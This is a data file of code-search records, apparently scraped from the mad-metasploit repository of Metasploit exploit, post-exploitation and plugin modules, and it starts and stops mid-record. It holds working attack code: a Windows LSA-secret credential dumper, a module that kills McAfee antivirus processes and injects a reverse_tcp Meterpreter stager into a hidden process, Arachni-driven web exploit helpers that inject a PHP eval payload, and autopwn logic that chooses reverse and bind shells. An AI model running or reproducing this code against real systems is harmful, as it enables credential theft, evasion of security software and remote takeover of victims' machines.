:vuln_test => "if (navigator.userAgent.indexOf('AppleWebKit/533+') != -1 { is_vuln = true; }",
})
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/unreliable/windows/browser/webkit_styleelement_process.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/unreliable/windows/browser/webkit_styleelement_process.rb
|
MIT
|
def _str_to_hash( str, sep = '&' )
hash = {}
str.split( sep ).map do |part|
splits = part.split( '=', 2 )
next if !splits[0] || !splits[1]
hash[splits[0]] = splits[1]
end
return hash
end
|
Converts a URI styled query string into a key=>value hash
|
_str_to_hash
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/untested/arachni_exec.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/untested/arachni_exec.rb
|
MIT
|
def _sub_injection( str, sep = '&' )
return str.to_s.split( sep ).map do |var|
k,v = var.split( '=', 2 )
next if !v || !k
if sep == '&'
pl = payload.encoded
else
pl = URI.encode( payload.encoded, ';\'=$_(),-:~. ' )
end
k + "=" + v.gsub( 'XXinjectionXX', pl )
end.reject do |i| !i end.join( sep )
end
|
Substitutes 'XXinjectionXX' in values of a URI styled query string with the
payload
|
_sub_injection
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/untested/arachni_exec.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/untested/arachni_exec.rb
|
MIT
|
def _str_to_hash( str, sep = '&' )
hash = {}
str.split( sep ).map do |part|
splits = part.split( '=', 2 )
next if !splits[0] || !splits[1]
hash[splits[0]] = splits[1]
end
return hash
end
|
Converts a URI styled query string into a key=>value hash
|
_str_to_hash
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/untested/arachni_path_traversal.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/untested/arachni_path_traversal.rb
|
MIT
|
def _sub_injection( str, sep = '&' )
return str.to_s.split( sep ).map do |var|
k,v = var.split( '=', 2 )
next if !v || !k
k + "=" + v.gsub( 'XXinjectionXX', datastore['FILE'].to_s )
end.reject do |i| !i end.join( sep )
end
|
Substitutes 'XXinjectionXX' in values of a URI styled query string with the
payload
|
_sub_injection
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/untested/arachni_path_traversal.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/untested/arachni_path_traversal.rb
|
MIT
|
def _str_to_hash( str, sep = '&' )
hash = {}
str.split( sep ).map do |part|
splits = part.split( '=', 2 )
next if !splits[0] || !splits[1]
hash[splits[0]] = splits[1]
end
return hash
end
|
Converts a URI styled query string into a key=>value hash
|
_str_to_hash
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/untested/arachni_php_eval.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/untested/arachni_php_eval.rb
|
MIT
|
def _sub_injection( str, headername, sep = '&' )
stub = "eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"
stub = URI.encode( stub, ';' ) if sep != '&'
return str.to_s.split( sep ).map do |var|
k,v = var.split( '=', 2 )
next if !v || !k
k + "=" + v.gsub( 'XXinjectionXX', stub )
end.reject do |i| !i end.join( sep )
end
|
Substitutes 'XXinjectionXX' in values of a URI styled query string with the
payload
|
_sub_injection
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/untested/arachni_php_eval.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/untested/arachni_php_eval.rb
|
MIT
|
def _str_to_hash( str, sep = '&' )
hash = {}
str.split( sep ).map do |part|
splits = part.split( '=', 2 )
next if !splits[0] || !splits[1]
hash[splits[0]] = splits[1]
end
return hash
end
|
Converts a URI styled query string into a key=>value hash
|
_str_to_hash
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/untested/arachni_php_include.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/untested/arachni_php_include.rb
|
MIT
|
def _sub_injection( str, sep = '&' )
return str.to_s.split( sep ).map do |var|
k,v = var.split( '=', 2 )
next if !v || !k
k + "=" + v.gsub( 'XXinjectionXX', php_include_url )
end.reject do |i| !i end.join( sep )
end
|
Substitutes 'XXinjectionXX' in values of a URI styled query string with the
payload
|
_sub_injection
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/exploits/unstable/untested/arachni_php_include.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/exploits/unstable/untested/arachni_php_include.rb
|
MIT
|
def get_secret(lkey)
sec_str = "\n"
begin
#LSA Secret key location within the register
root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\"
begin
key_arr = meterpreter_registry_enumkeys(root_key)
key_arr.each do |keys|
begin
mid_key = root_key + "\\" + keys
sk_arr = meterpreter_registry_enumkeys(mid_key)
sk_arr.each do |mkeys|
begin
#CurrVal stores the currently set value of the key, in the case of
#services it usually come out as plan text
if(mkeys == "CurrVal")
val_key = root_key + "\\" + keys + "\\" + mkeys
v_name = ""
sec = reg_getvaldata(val_key, v_name)
if( @vista == 1 )
#Magic happens here
sec = sec[0..-1]
sec = decrypt_lsa(sec, lkey)[1..-1].scan(/[[:print:]]/).join
else
#and here
sec = sec[0xC..-1]
sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join
end
if(sec.length > 0)
if(keys[0,4] == "_SC_")
user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"
keys_c = keys[4,keys.length]
user_key = user_key << keys_c
n_val = "ObjectName"
user_n = reg_getvaldata(user_key, n_val)
#if the unencrypted value is not blank and is a service, print
print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n")
sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n"
else
#if the unencrypted value is not blank, print
print_good("Key: #{keys} \n Decrypted Value: #{sec}\n")
sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n"
end
end
else
next
end
rescue ::Exception => e
print_error("Unable to open: #{val_key}")
print_error("Error: #{e.class} #{e}")
end
end
rescue
print_error("Unable to open: #{mid_key}")
end
end
rescue ::Exception => e
print_error("Unable to open: #{root_key}")
print_error("Error: #{e.class} #{e}")
end
rescue
print_error("Cannot find key.")
end
return sec_str
end
|
Decrypted LSA key is passed into this function
|
get_secret
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/post/unstable/enum_lsa.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/post/unstable/enum_lsa.rb
|
MIT
|
def run
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
domain = get_domain()
if not domain.empty?
dom_users = list_domain_group_mem("Domain Users")
list_group_members(domain, dom_users)
end
end
|
Run Method for when run command is issued
|
run
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/post/unstable/enum_users.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/post/unstable/enum_users.rb
|
MIT
|
def run
print_status("Running module against #{sysinfo['Computer']}")
mcafee_processes = %W{
scan32.exe
shstat.exe
tbmon.exe
vstskmgr.exe
engineserver.exe
mfevtps.exe
mfeann.exe
mcscript.exe
updaterui.exe
udaterui.exe
naprdmgr.exe
frameworkservice.exe
cleanup.exe
cmdagent.exe
frminst.exe
mcscript_inuse.exe
mctray.exe
#mcshield.exe
}
hips_processes = %W{
#firesvc.exe
firetray.exe
#hipsvc.exe
mfevtps.exe
mcafeefire.exe
}
print_status("Searching for Mcshield.exe...")
client.sys.process.get_processes().each do |x|
if (x['name'].downcase == "mcshield.exe")
print_status("Found Mcsheild process #{x['pid']}...Migrating into it")
client.core.migrate(x['pid'])
print_status("Migrated into #{x['name']} - #{x['pid']}")
client.sys.process.get_processes().each do |y|
if (mcafee_processes.index(y['name'].downcase))
print_status("Killing off #{y['name']}...")
client.sys.process.kill(y['pid'])
end
end
end
end
print_status("Searching for hipsvc.exe...")
client.sys.process.get_processes().each do |a|
if (a['name'].downcase == "hipsvc.exe")
print_status("Found hipsvc process #{a['pid']}...Migrating into it")
client.core.migrate(a['pid'])
print_status("Migrated into #{a['name']} - #{a['pid']}")
client.sys.process.get_processes().each do |z|
if (hips_processes.index(z['name'].downcase))
print_status("Killing off #{z['name']}...")
client.sys.process.kill(z['pid'])
end
end
end
end
#####Migrating into explorer.exe to save current session
client.sys.process.get_processes().each do |e|
if (e['name'].downcase=="explorer.exe")
print_status("Found explorer.exe #{e['pid']}...Migrating into it")
client.core.migrate(e['pid'])
end
end
#####Duplicating session
print_status("Duplicating Session")
duplicate_session
select(nil, nil, nil, 5)
print_status("Current process is #{client.sys.process.open.pid}")
print_status("Current sessions are #{framework.sessions.keys}")
####Using the duplicated session
session_active=framework.sessions.keys[1]
client_one=framework.sessions.get(session_active)
select(nil, nil, nil, 2)
print_status("Acive Session is #{session_active}")
client_one.sys.process.get_processes().each do |b|
if (b['name'].downcase == "mcshield.exe")
print_status("Found Mcshield process #{b['pid']}...Migrating into it")
client_one.core.migrate(b['pid'])
print_status("Migrated into #{b['name']} - #{b['pid']}")
print_status("Killing McShield.exe")
client_one.sys.process.kill(b['pid'])
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Meterpreter Exception: #{e.class} #{e}")
print_error("This script requires the use of a SYSTEM user context")
end
|
Run Method for when run command is issued
|
run
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/post/unstable/killmcafee.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/post/unstable/killmcafee.rb
|
MIT
|
def duplicate_session
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 443
lhost = "127.0.0.1"
spawn = false
autoconn = true
inject = true
target_pid = nil
target = "notepad.exe"
pay = nil
print_status("Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}")
payload = "windows/meterpreter/reverse_tcp"
pay = client.framework.payloads.create(payload)
pay.datastore['LHOST'] = rhost
pay.datastore['LPORT'] = rport
mul = client.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = payload
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = true
print_status("Running payload handler")
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)
note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
target_pid = note.pid
# Do the duplication
print_status("Injecting meterpreter into process ID #{target_pid}")
host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
raw = pay.generate
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
print_status("Writing the stager into memory...")
host_process.memory.write(mem, raw)
host_process.thread.create(mem, 0)
print_status("New server process: #{target_pid}")
end
|
######Code for duplication (borrowed from duplicate.rb script by scriptjunkie)
|
duplicate_session
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/post/unstable/killmcafee.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/post/unstable/killmcafee.rb
|
MIT
|
def run
unless client.platform =~ /win/
print_error("This module requires native Windows meterpreter functions not compatible with the selected session")
return
end
print_status("Running module against #{sysinfo['Computer']}")
pids = datastore['PIDLIST'].split(',').map {|x| x.to_i}
namelist = datastore['NAMELIST'].split(',').map {|n| n.strip}
keep_pids = datastore['IGNORE_LIST'].split(',').map {|x| x.to_i}
if (pids.empty? and namelist.empty?)
print_error("Names or PIDS must be entered")
return
end
if namelist and !namelist.empty?
namelist.each do |name|
client.sys.process.get_processes.find_all {|p| p['name'] == name }.map do |process|
vprint_good("Adding #{process['name']} with PID #{process['pid']}")
pids << process['pid'].to_i
end
end
end
# Suicide prevention and ignore list
pids = pids - keep_pids - [client.sys.process.getpid]
pids.each do |pid|
vprint_good("Killing #{pid}")
client.sys.process.kill(pid)
end
end
|
Run Method for when run command is issued
|
run
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/post/unstable/kill_by_name.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/post/unstable/kill_by_name.rb
|
MIT
|
def get_kblist(srhstring)
found = false
list = Array.new()
begin
path = ::File.join(Msf::Config.install_root, "data", "Kblist.txt")
file = ::File.open(path, "r")
file.each{|line|
found = false if (line =~ /^#{srhstring}_stop/)
list << line.chomp if(found)
found = true if (line =~ /^#{srhstring}_start/)
}
return list
f.close
rescue
print_error("Error reading file #{path}")
return nil
end
end
|
########## Function to get KB list from Kblist.txt file located under 'data' folder ###############
|
get_kblist
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/post/windows/q/winlocalprv_esc.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/post/windows/q/winlocalprv_esc.rb
|
MIT
|
def chk_os_sp (edition)
inkb= nil
ver = client.sys.config.sysinfo
os_sp = ver['OS']
arch = ver['Architecture']
if arch =~ /x86/
print_status ("\t Architecture :- #{arch} ")
print_status("\t OS version :- #{ver['OS']}")
if os_sp =~ /(Windows 2000)/
cmdis = "reg"
if edition =~ /Advance/
if os_sp =~ /(Service Pack 1)/
sstr = 't2k_sp1_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 2)/
sstr = 't2k_sp2_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 3)/
sstr = 't2k_sp3_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 4)/
sstr = 't2kadv_sp4_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/ #no service pack
print_status("\t No local privilege vulnerability for win 2000 with no service pack")
end
elsif edition =~ /Professional/
if os_sp =~ /(Service Pack 1)/
sstr = 't2k_sp1_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 2)/
sstr = 't2k_sp2_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 3)/
sstr = 't2kpro_sp3_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 4)/
sstr = 't2k_sp4_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/ # no servicepack
print_status("\t No local privilege vulnerability for win 2000 with no service pack")
end
else
if os_sp =~ /(Service Pack 1)/
sstr = 't2k_sp1_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 2)/
sstr = 't2k_sp2_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 3)/
sstr = 't2k_sp3_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 4)/
sstr = 't2k_sp4_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/ # no servicepack
print_status("\t No local privilege vulnerability for win 2000 with no service pack")
end
end
elsif os_sp =~ /(Windows XP)/
cmdis = "reg"
if edition =~ /Home/
print_status("\t Edition: Home")
if os_sp =~ /(Service Pack 1)/
sstr = 'xphm_sp1_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 2)/
sstr = 'xphm_sp2_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 3)/
sstr = 'xphm_sp3_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/ #no service pack
sstr = 'xphm_nosp_kb'
inkb = get_kblist(sstr)
end
elsif edition =~ /Professional/
print_status("\t Edition: Professional")
if os_sp =~ /(Service Pack 1)/
sstr = 'xppro_sp1_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 2)/
sstr = 'xppro_sp2_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 3)/
sstr = 'xppro_sp3_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/ # no servicepack
sstr = 'xppro_nosp_kb'
inkb = get_kblist(sstr)
end
end
elsif os_sp =~ /(Windows .NET Server)/
cmdis = "reg"
if edition !=~ /Small Business/
if os_sp =~ /(Service Pack 1)/
sstr = 'w2k3_sp1_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 2)/
sstr = 'w2k3_sp2_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/
sstr = 'w2k3_nosp_kb'
inkb = get_kblist(sstr)
end
end
elsif os_sp =~ /(Windows 2008)/
cmdis = nil
if os_sp !=~ /(Service Pack)/
sstr = 'w2k8_nosp_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 2)/
sstr = 'w2k8_sp2_kb'
inkb = get_kblist(sstr)
end
elsif os_sp =~ /(Windows Vista)/
cmdis = nil
if os_sp =~ /(Service Pack 1)/
sstr = 'vs_sp1_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 2)/
sstr = 'vs_sp2_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/ #no service pack
sstr = 'vs_nosp_kb'
inkb = get_kblist(sstr)
end
elsif os_sp =~ /(Windows 7)/
cmdis = nil
### 64bit vuln KB list matches 32 bit vul kb list :)
if os_sp =~ /(Service Pack 1)/
sstr = 'w7_64_sp1_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/ #no service pack
sstr = 'w7_64_nosp_kb'
inkb = get_kblist(sstr)
end
else
print_status("\t You are running the script on non-supported OS")
end
if inkb != nil
return inkb,cmdis
end
##########------------ 64 arch -------------##################
elsif arch =~ /x64/
print_status ("\t Architecture:- #{arch} ")
print_status("\t OS version :- #{ver['OS']}")
if os_sp =~ /(Windows 7)/
cmdis = nil
if os_sp =~ /(Service Pack 1)/
sstr = 'w7_64_sp1_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/ #no service pack
sstr = 'w7_64_nosp_kb'
inkb = get_kblist(sstr)
end
elsif os_sp =~ /(Windows XP)/
cmdis = "reg"
if edition =~ /Professional/
if os_sp =~ /(Service Pack 2)/
sstr = 'xppro_64_sp2_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/ #no service pack
sstr = 'xppro_64_nosp_kb'
inkb = get_kblist(sstr)
end
end
elsif os_sp =~ /(Windows Vista)/
cmdis = nil
### 64 bit have same vuln list as 32 bit :)
if os_sp =~ /(Service Pack 1)/
sstr = 'vs_sp1_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 2)/
sstr = 'vs_sp2_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/ #no service pack
sstr = 'vs_nosp_kb'
inkb = get_kblist(sstr)
end
elsif os_sp =~ /(windows 2008)/
cmdis = nil
if edition =~ /2008 R2/
print_status("\t Edition: Windows server 2008 R2")
if os_sp =~ /(Service Pack 1)/
sstr = 'w2k8_64r2_sp1_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/
sstr = 'w2k8_64r2_kb'
inkb = get_kblist(sstr)
end
else
#### yes its same as 32bit kb list ####
if os_sp !=~ /(Service Pack)/
sstr = 'w2k8_nosp_kb'
inkb = get_kblist(sstr)
elsif os_sp =~ /(Service Pack 2)/
sstr = 'w2k8_sp2_kb'
inkb = get_kblist(sstr)
end
end
elsif os_sp =~ /(windows .NET Server)/
cmdis = "reg"
if edition =~ /Datacenter/
print_status("\t Edition: Windows server 2003 Datacenter")
if os_sp =~ /(Service Pack 2)/
sstr = 'w2k3_64_sp2_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/
sstr = 'w2k3_64dc_nosp_kb'
inkb = get_kblist(sstr)
end
elsif edition=~ /Enterprise/
print_status("\t Edition: Windows server 2003 Enterprise")
if os_sp =~ /(Service Pack 2)/
sstr = 'w2k3_64ent_sp2_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/
sstr = 'w2k3_64ent_nosp_kb'
inkb = get_kblist(sstr)
end
elsif edition=~ /Standard/
print_status("\t Edition: Windows server 2003 Standard")
if os_sp =~ /(Service Pack 2)/
sstr = 'w2k3_64_sp2_kb'
inkb = get_kblist(sstr)
elsif os_sp !=~ /(Service Pack)/
sstr = 'w2k3_64std_nosp_kb'
inkb = get_kblist(sstr)
end
end
else
print_status("\t You are running the script on non-supported OS")
end
if inkb != nil
return inkb,cmdis
end
elsif arch =~ /IA64/
print_status("\t You are running the script on non-supported IA64 CPU Architecture")
end
end
|
############### Function:: To check for OSversion, Edition, Service pack and pick corresponding KB list ######################
|
chk_os_sp
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-modules/post/windows/q/winlocalprv_esc.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-modules/post/windows/q/winlocalprv_esc.rb
|
MIT
|
def commands
{
"arachni_load" => "Loads an ArachniMetareport file (.afr.msf).",
"arachni_autopwn" => "Tries to exploit all vulnerabilities.",
"arachni_list_exploits" => "Lists all matching exploit modules.",
"arachni_list_vulns" => "Lists all vulnerabilities.",
"arachni_list_all" => "Same as running 'arachni_list_exploits' & 'arachni_list_vulns'.",
"arachni_killall" => "Kills all running/pending pwn-jobs.",
"arachni_manual" => "Prepares a vulnerability for manual exploitation.",
}
end
|
Returns the hash of commands supported by this dispatcher.
|
commands
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/arachni.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/arachni.rb
|
MIT
|
def cmd_arachni_load( *args )
metareport = args[0]
if !metareport
print_error( "Usage: arachni_load [metareport]" )
return
end
if !File.exist?( metareport )
print_error( "File '#{metareport}' doesn't exist." )
return
end
print_status( "Loading report..." )
@vulns ||= []
@exploits ||= []
YAML.load( IO.read( metareport ) ).each do |vuln|
data = { }
vuln.ivars.keys.each do |k|
data[k.to_sym] = vuln.ivars[k]
end
begin
# the MSF doesn't much like hostnames, resolve to an IP address
# there's probably a beter way to do it...
host = Rex::Socket.gethostbyname( data[:host] ).pop
data[:host] = Rex::Socket.addr_ntoa( host )
@exploits << data[:exploit]
@vulns << data
rescue
next
end
end
@vulns.uniq!
print_status( "Loaded #{@vulns.size} vulnerabilities." )
print_line
cmd_arachni_list_exploits
cmd_arachni_list_vulns
print_line
print_status( 'Done!' )
end
|
This method loads a metareport file and lists all
exploitable vulnerabilities and suitable exploits.
|
cmd_arachni_load
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/arachni.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/arachni.rb
|
MIT
|
def running?
return @jobs && [email protected]?
end
|
Decides whether or not any pwn-jobs are running
|
running?
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/arachni.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/arachni.rb
|
MIT
|
def cmd_arachni_manual( *args )
idx = args[0]
if !idx
print_error( 'Usage: arachni_manual [ID]' )
print_line( 'Use \'arachni_vulns\' to see all available IDs.' )
return
end
idx = idx.to_i
idx -= 1
if !@vulns
print_error( 'You must first load a report using \'arachni_load\'.' )
return
end
if @vulns.empty?
print_error( 'No vulnerabilities to exploit.' )
end
vuln = @vulns[idx]
if !vuln
print_error( "Invalid index: #{idx}" )
cmd_arachni_list_vulns
return
end
print_status( "Using #{vuln[:exploit]} ." )
driver.run_single( "use #{vuln[:exploit]}" )
prep_datastore( vuln ).each do |k, v|
v = '' if !v
driver.run_single( "set #{k} #{v}" )
end
print_status( "Done!" )
begin
sploit = framework.modules.create( vuln[:exploit] )
driver.run_single( "set PAYLOAD #{payload( sploit, vuln )}" )
payload_table = Rex::Ui::Text::Table.new(
'Header' => "Compatible payloads",
'Indent' => 4,
'Columns' => [ "Name", "Description" ]
)
sploit.compatible_payloads.each do |payload|
payload_table << [ payload[0], payload[1].new.description ]
end
rescue
print_line( "\n#{payload_table.to_s}\n" )
print_line( "Use: set PAYLOAD <name>" )
end
end
|
Prepares a vulnerability for manual exploitation by ID
|
cmd_arachni_manual
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/arachni.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/arachni.rb
|
MIT
|
def exploit( vuln, opts )
sploit = framework.modules.create( vuln[:exploit] )
print_status( "Running #{sploit.fullname}" )
sploit.datastore.merge!( prep_datastore( vuln ) )
sploit.exploit_simple(
'Payload' => payload( sploit, opts ),
'LocalInput' => opts[:quiet] ? nil : driver.input,
'LocalOutput' => opts[:quiet] ? nil : driver.output,
'RunAsJob' => false
)
end
|
Exploits a vulnerability based on user opts
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/arachni.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/arachni.rb
|
MIT
|
def payload( sploit, opts )
# choose best payloads for a reverse shells
if opts[:reverse]
# choose best payloads for a reverse meterpreter shell
if opts[:meterpreter]
payloads = {
'exploit/unix/webapp/arachni_php_include' => 'php/meterpreter/reverse_tcp',
# arachni_exec doesn't have a compatiblem meterpreter shell...
'exploit/unix/webapp/arachni_exec' => 'cmd/unix/reverse_perl',
'exploit/unix/webapp/arachni_php_eval' => 'php/meterpreter/reverse_tcp',
}
# choose best payloads for a standard reverse shell
else
payloads = {
'exploit/unix/webapp/arachni_php_include' => 'generic/shell_reverse_tcp',
'exploit/unix/webapp/arachni_exec' => 'cmd/unix/reverse_perl',
'exploit/unix/webapp/arachni_php_eval' => 'generic/shell_reverse_tcp',
}
end
# choose best payloads for a bind shell (default)
else
# choose best payloads for a bind meterpreter shell
if opts[:meterpreter]
payloads = {
'exploit/unix/webapp/arachni_php_include' => 'php/meterpreter/bind_tcp',
'exploit/unix/webapp/arachni_exec' => 'cmd/unix/reverse_perl',
'exploit/unix/webapp/arachni_php_eval' => 'php/meterpreter/bind_tcp',
}
# choose best payloads for a standard bind shell
else
payloads = {
'exploit/unix/webapp/arachni_php_include' => 'php/bind_php',
'exploit/unix/webapp/arachni_exec' => 'cmd/unix/bind_perl',
'exploit/unix/webapp/arachni_php_eval' => 'php/bind_php',
}
end
end
return payloads[sploit.fullname]
end
|
Determines the most suitable payload for an exploit based on user opts
|
payload
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/arachni.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/arachni.rb
|
MIT
|
def prep_datastore( vuln )
cvuln = vuln.dup
uri = cvuln[:host]
uri += cvuln[:path] if cvuln[:path]
uri += cvuln[:query] if cvuln[:query]
print_status( "Preparing datastore for '#{cvuln[:name]}' vulnerability @ #{uri} ..." )
datastore = {}
datastore["SRVHOST"] = "127.0.0.1"
datastore["SRVPORT"] = ( rand( 9999 ) + 6000 ).to_s
datastore["RHOST"] = cvuln[:host]
datastore["RPORT"] = cvuln[:port]
datastore["LHOST"] = "127.0.0.1"
datastore["LPORT"] = ( rand( 9999 ) + 5000 ).to_s
datastore["SSL"] = cvuln[:ssl]
case cvuln[:method]
when 'GET'
datastore["GET"] = hash_to_query( cvuln[:params] )
when 'POST'
datastore["POST"] = hash_to_query( cvuln[:params] )
end
datastore["METHOD"] = cvuln[:method]
datastore["COOKIES"] = cvuln[:headers]['cookie']
headers = cvuln[:headers]
headers.delete( 'cookie' )
datastore["HEADERS"] = hash_to_query( headers, '::' )
datastore["PATH"] = cvuln[:path]
return datastore.dup
end
|
Prepares a hash to be used as a module/framework datastore
based on the provided vulnerability
|
prep_datastore
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/arachni.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/arachni.rb
|
MIT
|
def hash_to_query( hash, glue = '&' )
return hash.to_a.map do |item|
next if !item[1]
"#{item[0]}=#{item[1]}"
end.reject do |i| !i end.join( glue )
end
|
Splits and converts a query string into a hash
|
hash_to_query
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/arachni.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/arachni.rb
|
MIT
|
def active?
if not framework.db.active
print_error("Database not connected")
return false
end
true
end
|
Returns true if the db is connected, prints an error and returns
false if not.
All commands that require an active database should call this before
doing anything.
|
active?
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/db_autopwn.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/db_autopwn.rb
|
MIT
|
def database?
if !(framework.db and framework.db.usable)
return false
else
return true
end
end
|
Verify the database is connected and usable
|
database?
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/db_exploit.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/db_exploit.rb
|
MIT
|
def searchsploit?
if @ov
return true
else
print_error("Searchsploit is not installed. Please install searchsploit.")
return false
end
end
|
Verify there is an active Searchsploit connection
|
searchsploit?
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/db_exploit.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/db_exploit.rb
|
MIT
|
def initialize(ssh, opts={})
super(nil,opts)
init_ssh(ssh,opts)
self.console = Rex::Post::MetaSSH::Ui::Console.new(self)
end
|
Initializes a meterpreter session instance using the supplied rstream
that is to be used as the client's connection to the server.
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
